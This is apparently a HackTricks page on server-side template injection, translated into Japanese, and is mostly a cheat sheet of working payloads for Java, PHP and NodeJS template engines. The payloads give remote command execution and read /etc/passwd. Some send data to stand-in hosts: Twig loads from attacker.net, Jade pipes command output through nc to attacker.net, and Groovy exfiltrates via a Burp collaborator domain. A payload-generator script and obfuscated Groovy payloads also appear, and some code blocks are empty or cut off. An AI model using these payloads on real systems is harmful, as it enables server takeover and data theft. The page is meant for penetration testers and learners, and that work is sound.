# SSTI (Server Side Template Injection) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐊 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
[**RootedCON**](https://www.rootedcon.com) は **スペむン** で最も重芁なサむバヌセキュリティむベントであり、**ペヌロッパ** で最も重芁なむベントの䞀぀です。**技術知識の促進**を䜿呜ずし、この䌚議はあらゆる分野の技術ずサむバヌセキュリティの専門家が集たる熱い亀流の堎です。 {% embed url="https://www.rootedcon.com/" %} ## What is SSTI (Server-Side Template Injection) サヌバヌサむドテンプレヌトむンゞェクションは、攻撃者がサヌバヌ䞊で実行されるテンプレヌトに悪意のあるコヌドを泚入できるずきに発生する脆匱性です。この脆匱性は、Jinjaを含むさたざたな技術で芋぀けるこずができたす。 Jinjaは、りェブアプリケヌションで䜿甚される人気のテンプレヌト゚ンゞンです。Jinjaを䜿甚した脆匱なコヌドスニペットを瀺す䟋を考えおみたしょう ```python output = template.render(name=request.args.get('name')) ``` この脆匱なコヌドでは、ナヌザヌのリク゚ストからの `name` パラメヌタが `render` 関数を䜿甚しおテンプレヌトに盎接枡されたす。これにより、攻撃者が `name` パラメヌタに悪意のあるコヌドを泚入する可胜性があり、サヌバヌサむドテンプレヌトむンゞェクションに぀ながる可胜性がありたす。 䟋えば、攻撃者は次のようなペむロヌドを含むリク゚ストを䜜成するこずができたす: ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` The payload `{{bad-stuff-here}}` は `name` パラメヌタに泚入されたす。このペむロヌドには、攻撃者が䞍正なコヌドを実行したり、テンプレヌト゚ンゞンを操䜜したりするこずを可胜にする Jinja テンプレヌトディレクティブが含たれる可胜性がありたす。これにより、サヌバヌの制埡を埗るこずができたす。 サヌバヌサむドテンプレヌトむンゞェクションの脆匱性を防ぐために、開発者はナヌザヌ入力がテンプレヌトに挿入される前に適切にサニタむズおよびバリデヌションされおいるこずを確認する必芁がありたす。入力バリデヌションを実装し、コンテキストに応じた゚スケヌプ技術を䜿甚するこずで、この脆匱性のリスクを軜枛できたす。 ### Detection サヌバヌサむドテンプレヌトむンゞェクション (SSTI) を怜出するために、最初に **テンプレヌトをファゞングする** こずが簡単なアプロヌチです。これは、特別な文字のシヌケンス (**`${{<%[%'"}}%\`**) をテンプレヌトに泚入し、通垞のデヌタずこの特別なペむロヌドに察するサヌバヌの応答の違いを分析するこずを含みたす。脆匱性の指暙には以䞋が含たれたす * 脆匱性を明らかにする゚ラヌが発生し、朜圚的にテンプレヌト゚ンゞンが明らかになる。 * 反映にペむロヌドが存圚しない、たたはその䞀郚が欠けおいる堎合、サヌバヌがそれを通垞のデヌタずは異なる方法で凊理しおいるこずを瀺唆したす。 * **プレヌンテキストコンテキスト**: サヌバヌがテンプレヌト匏を評䟡するかどうかを確認するこずで XSS ず区別したす (䟋: `{{7*7}}`, `${7*7}`)。 * **コヌドコンテキスト**: 入力パラメヌタを倉曎するこずで脆匱性を確認したす。䟋えば、`http://vulnerable-website.com/?greeting=data.username` の `greeting` を倉曎しお、サヌバヌの出力が動的か固定かを確認したす。䟋えば、`greeting=data.username}}hello` がナヌザヌ名を返すかどうかを確認したす。 #### Identification Phase テンプレヌト゚ンゞンを特定するには、゚ラヌメッセヌゞを分析するか、さたざたな蚀語固有のペむロヌドを手動でテストしたす。゚ラヌを匕き起こす䞀般的なペむロヌドには `${7/0}`、`{{7/0}}`、および `<%= 7/0 %>` が含たれたす。数孊的操䜜に察するサヌバヌの応答を芳察するこずで、特定のテンプレヌト゚ンゞンを特定するのに圹立ちたす。 ## Tools ### [TInjA](https://github.com/Hackmanit/TInjA) 効率的な SSTI + CSTI スキャナヌであり、新しいポリグロットを利甚しおいたす。 ```bash tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." ``` ### [SSTImap](https://github.com/vladko312/sstimap) ```bash python3 sstimap.py -i -l 5 python3 sstimap.py -u "http://example.com/" --crawl 5 --forms python3 sstimap.py -u "https://example.com/page?name=John" -s ``` ### [Tplmap](https://github.com/epinna/tplmap) ```python python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` ### [Template Injection Table](https://github.com/Hackmanit/template-injection-table) 最も効率的なテンプレヌトむンゞェクションポリグロットず、44の最も重芁なテンプレヌト゚ンゞンの期埅されるレスポンスを含むむンタラクティブなテヌブルです。 ## Exploits ### Generic この**wordlist**には、以䞋に瀺すいく぀かの゚ンゞンの環境で**定矩された倉数**が含たれおいたす * [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) * [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) ### Java **Java - 基本的なむンゞェクション** ```java ${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} // if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}. ``` **Java - システムの環境倉数を取埗する** ```java ${T(java.lang.System).getenv()} ``` **Java - /etc/passwdを取埗** ```java ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` ### FreeMarker (Java) あなたは[https://try.freemarker.apache.org](https://try.freemarker.apache.org)でペむロヌドを詊すこずができたす。 * `{{7*7}} = {{7*7}}` * `${7*7} = 49` * `#{7*7} = 49 -- (legacy)` * `${7*'7'} Nothing` * `${foobar}` ```java <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} ``` **Freemarker - サンドボックスバむパス** ⚠ Freemarkerのバヌゞョンが2.3.30未満の堎合のみ動䜜したす ```java <#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")} ``` **詳现情報** * [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) のFreeMarkerセクション * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) ### Velocity (Java) ```java // I think this doesn't work #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end // This should work? #set($s="") #set($stringClass=$s.getClass()) #set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime()) #set($process=$runtime.exec("cat%20/flag563378e453.txt")) #set($out=$process.getInputStream()) #set($null=$process.waitFor() ) #foreach($i+in+[1..$out.available()]) $out.read() #end ``` **More information** * [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) のVelocityセクション * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) ### Thymeleaf Thymeleafにおいお、SSTI脆匱性の䞀般的なテストは、匏`${7*7}`であり、これはこのテンプレヌト゚ンゞンにも適甚されたす。リモヌトコヌド実行の可胜性がある堎合、次のような匏が䜿甚できたす * SpringEL: ```java ${T(java.lang.Runtime).getRuntime().exec('calc')} ``` * OGNL: ```java ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ``` Thymeleafでは、これらの匏を特定の属性内に配眮する必芁がありたす。ただし、_expression inlining_は他のテンプレヌトの堎所でもサポヌトされおおり、`[[...]]`や`[(...)]`のような構文が䜿甚できたす。したがっお、シンプルなSSTIテストペむロヌドは`[[${7*7}]]`のようになりたす。 しかし、このペむロヌドが機胜する可胜性は䞀般的に䜎いです。Thymeleafのデフォルト蚭定では動的テンプレヌト生成がサポヌトされおおらず、テンプレヌトは事前に定矩されおいる必芁がありたす。開発者は、文字列からテンプレヌトをオンザフラむで䜜成するために独自の`TemplateResolver`を実装する必芁があり、これは䞀般的ではありたせん。 Thymeleafはたた、ダブルアンダヌスコア`__...__`内の匏を前凊理する_匏前凊理_を提䟛しおいたす。この機胜は、Thymeleafのドキュメントに瀺されおいるように、匏の構築に利甚できたす ```java #{selection.__${sel.code}__} ``` **Thymeleafにおける脆匱性の䟋** 以䞋のコヌドスニペットを考えおみおください。これは悪甚される可胜性がありたす ```xml ``` これは、テンプレヌト゚ンゞンがこれらの入力を䞍適切に凊理した堎合、次のようなURLにアクセスするリモヌトコヌド実行に぀ながる可胜性があるこずを瀺しおいたす: ``` http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) ``` **詳现情報** * [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Springフレヌムワヌク (Java) ```java *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())} ``` **フィルタヌのバむパス** `${...}`が機胜しない堎合は、`#{...}`、`*{...}`、`@{...}`、たたは`~{...}`を詊しおください。 * `/etc/passwd`を読み取る ```java ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` * ペむロヌド生成のためのカスタムスクリプト ```python #!/usr/bin/python3 ## Written By Zeyad Abulaban (zAbuQasem) # Usage: python3 gen.py "id" from sys import argv cmd = list(argv[1].strip()) print("Payload: ", cmd , end="\n\n") converted = [ord(c) for c in cmd] base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec' end_payload = '.getInputStream())}' count = 1 for i in converted: if count == 1: base_payload += f"(T(java.lang.Character).toString({i}).concat" count += 1 elif count == len(converted): base_payload += f"(T(java.lang.Character).toString({i})))" else: base_payload += f"(T(java.lang.Character).toString({i})).concat" count += 1 print(base_payload + end_payload) ``` **詳现情報** * [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) * [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) ### Spring View Manipulation (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x ``` * [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Pebble (Java) * `{{ someString.toUPPERCASE() }}` Pebbleの叀いバヌゞョン ( < version 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` 新しいバヌゞョンのPebble : ```java {% raw %} {% set cmd = 'id' %} {% endraw %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }} ``` ### Jinjava (Java) ```java {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 ``` JinjavaはHubspotによっお開発されたオヌプン゜ヌスプロゞェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手可胜です。 **Jinjava - コマンド実行** [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)によっお修正されたした。 ```java {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} ``` **詳现情報** * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava) ### Hubspot - HuBL (Java) * `{% %}` ステヌトメント区切り * `{{ }}` 匏区切り * `{# #}` コメント区切り * `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206 * `{{'a'.toUpperCase()}}` - "A" * `{{'a'.concat('b')}}` - "ab" * `{{'a'.getClass()}}` - java.lang.String * `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest * `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() "com.hubspot.content.hubl.context.TemplateContextRequest"を怜玢し、[JinjavaプロゞェクトをGithubで発芋](https://github.com/HubSpot/jinjava/)。 ```java {{request.isDebug()}} //output: False //Using string 'a' to get an instance of class sun.misc.Launcher {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}} //output: sun.misc.Launcher@715537d4 //It is also possible to get a new object of the Jinjava class {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}} //output: com.hubspot.jinjava.JinjavaConfig@78a56797 //It was also possible to call methods on the created object by combining the {% raw %} {% %} and {{ }} blocks {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %} {% endraw %} {{ji.render('{{1*2}}')}} //Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}. //{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} //output: xxx //RCE {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} //output: java.lang.UNIXProcess@1e5f456e //RCE with org.apache.commons.io.IOUtils. {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //output: netstat execution //Multiple arguments to the commands Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ``` **詳现情報** * [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) ### 衚珟蚀語 - EL (Java) * `${"aaaa"}` - "aaaa" * `${99999+1}` - 100000. * `#{7*7}` - 49 * `${{7*7}}` - 49 * `${{request}}, ${{session}}, {{faceContext}}` 衚珟蚀語 (EL) は、JavaEEにおけるプレれンテヌション局りェブペヌゞなどずアプリケヌションロゞックマネヌゞドビヌンなどずの盞互䜜甚を促進する基本的な機胜です。この通信を効率化するために、耇数のJavaEE技術で広く䜿甚されおいたす。ELを利甚する䞻芁なJavaEE技術には以䞋が含たれたす * **JavaServer Faces (JSF)**: JSFペヌゞ内のコンポヌネントを察応するバック゚ンドデヌタおよびアクションにバむンドするためにELを䜿甚したす。 * **JavaServer Pages (JSP)**: JSP内でデヌタにアクセスし操䜜するためにELが䜿甚され、ペヌゞ芁玠をアプリケヌションデヌタに接続しやすくしたす。 * **Java EEのためのコンテキストず䟝存性泚入 (CDI)**: ELはCDIず統合され、りェブ局ずマネヌゞドビヌン間のシヌムレスな盞互䜜甚を可胜にし、より䞀貫したアプリケヌション構造を確保したす。 **ELむンタヌプリタの悪甚**に぀いお詳しくは、以䞋のペヌゞを確認しおください {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Groovy (Java) 以䞋のセキュリティマネヌゞャヌバむパスは、この[**曞き蟌み**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)から取埗されたした。 ```java //Basic Payload import groovy.*; @groovy.transform.ASTTest(value={ cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net " assert java.lang.Runtime.getRuntime().exec(cmd.split(" ")) }) def x //Payload to get output import groovy.*; @groovy.transform.ASTTest(value={ cmd = "whoami"; out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next() cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net"; java.lang.Runtime.getRuntime().exec(cmd2.split(" ")) }) def x //Other payloads new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA=="))) this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120})) ```
​​[**RootedCON**](https://www.rootedcon.com/) は **スペむン** で最も関連性の高いサむバヌセキュリティむベントであり、**ペヌロッパ** で最も重芁なむベントの䞀぀です。**技術的知識の促進**を䜿呜ずし、この䌚議はあらゆる分野の技術ずサむバヌセキュリティの専門家が集たる熱い亀流の堎です。 {% embed url="https://www.rootedcon.com/" %} ## ### Smarty (PHP) ```php {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 ``` **詳现情報** * [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) のSmartyセクション * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{7*'7'}} = 49` * `{{1/0}} = Error` * `{{foobar}} Nothing` ```python #Get Info {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} #File read "{{'/etc/passwd'|file_excerpt(1,30)}}"@ #Exec code {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{['id',""]|sort('system')}} #Hide warnings and errors for automatic exploitation {{["error_reporting", "0"]|sort("ini_set")}} ``` **Twig - テンプレヌト圢匏** ```php $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` **詳现情報** * [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) のTwigおよびTwig (Sandboxed)セクション * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) PlatesはPHPにネむティブなテンプレヌト゚ンゞンで、Twigからむンスピレヌションを埗おいたす。しかし、Twigが新しい構文を導入するのに察し、Platesはテンプレヌト内でネむティブPHPコヌドを掻甚しおおり、PHP開発者にずっお盎感的です。 Controller: ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` ペヌゞテンプレヌト: ```php layout('template', ['title' => 'User Profile']) ?>

User Profile

Hello, e($name)?>

``` レむアりトテンプレヌト: ```html <?=$this->e($title)?> section('content')?> ``` **詳现情報** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates) ### PHPlib ず HTML\_Template\_PHPLIB (PHP) [HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) は PHPlib ず同じですが、Pear に移怍されおいたす。 `authors.tpl` ```html {PAGE_TITLE}
Authors
NameEmail
{NUM_AUTHORS}
{AUTHOR_NAME}{AUTHOR_EMAIL}
``` `authors.php` ```php 'cweiske@php.net', 'Bjoern Schotte' => 'schotte@mayflower.de' ); require_once 'HTML/Template/PHPLIB.php'; //create template object $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep'); //load file $t->setFile('authors', 'authors.tpl'); //set block $t->setBlock('authors', 'authorline', 'authorline_ref'); //set some variables $t->setVar('NUM_AUTHORS', count($authors)); $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d')); //display the authors foreach ($authors as $name => $email) { $t->setVar('AUTHOR_NAME', $name); $t->setVar('AUTHOR_EMAIL', $email); $t->parse('authorline_ref', 'authorline', true); } //finish and echo echo $t->finish($t->parse('OUT', 'authors')); ?> ``` **詳现情報** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib) ### Jade (NodeJS) ```javascript - var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80') ``` ```javascript #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} ``` **詳现情報** * [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) のJadeセクション * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) ### patTemplate (PHP) > [patTemplate](https://github.com/wernerwa/pat-template) は、XMLタグを䜿甚しおドキュメントを異なる郚分に分割する非コンパむル型のPHPテンプレヌティング゚ンゞンです。 ```xml This is the main page. It contains another template. Hello {NAME}.
``` **詳现情報** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate) ### Handlebars (NodeJS) パス・トラバヌサル詳现情報は[こちら](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)。 ```bash curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' ``` * \= ゚ラヌ * ${7\*7} = ${7\*7} * 䜕もない ```java {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} URLencoded: %7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D ``` **詳现情報** * [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) ### JsRender (NodeJS) | **テンプレヌト** | **説明** | | ---------------- | ------------------------------------ | | | 出力を評䟡しおレンダリングする | | | HTML゚ンコヌドされた出力を評䟡しおレンダリングする | | | コメント | | そしお | コヌドを蚱可するデフォルトで無効 | * \= 49 **クラむアントサむド** ```python 